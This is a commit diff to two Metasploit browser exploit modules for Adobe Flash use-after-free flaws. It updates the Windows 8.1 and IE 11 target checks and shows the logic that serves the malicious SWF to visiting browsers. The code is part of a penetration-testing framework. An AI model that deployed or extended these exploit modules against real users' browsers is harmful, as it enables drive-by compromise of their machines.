Update Win 8.1 checks

Author: wchen-r7

modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

@@ -105,7 +105,7 @@ def exploit
   def on_request_exploit(cli, request, target_info)
     print_status("Request: #{request.uri}")
 
-    if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
+    if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
       print_warning("Target setup not supported")
       send_not_found(cli)
       return

modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb

@@ -45,7 +45,8 @@ def initialize(info={})
           :source  => /script|headers/i,
           :arch    => ARCH_X86,
           :os_name => lambda do |os|
-            os =~ OperatingSystems::Match::WINDOWS_7
+            os =~ OperatingSystems::Match::WINDOWS_7 ||
+            os =~ OperatingSystems::Match::WINDOWS_81
           end,
           :ua_name => lambda do |ua|
             case target.name
@@ -86,6 +87,12 @@ def exploit
   def on_request_exploit(cli, request, target_info)
     print_status("Request: #{request.uri}")
 
+    if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
+      print_warning("Target setup not supported")
+      send_not_found(cli)
+      return
+    end
+
     if request.uri =~ /\.swf$/
       print_status('Sending SWF...')
       send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})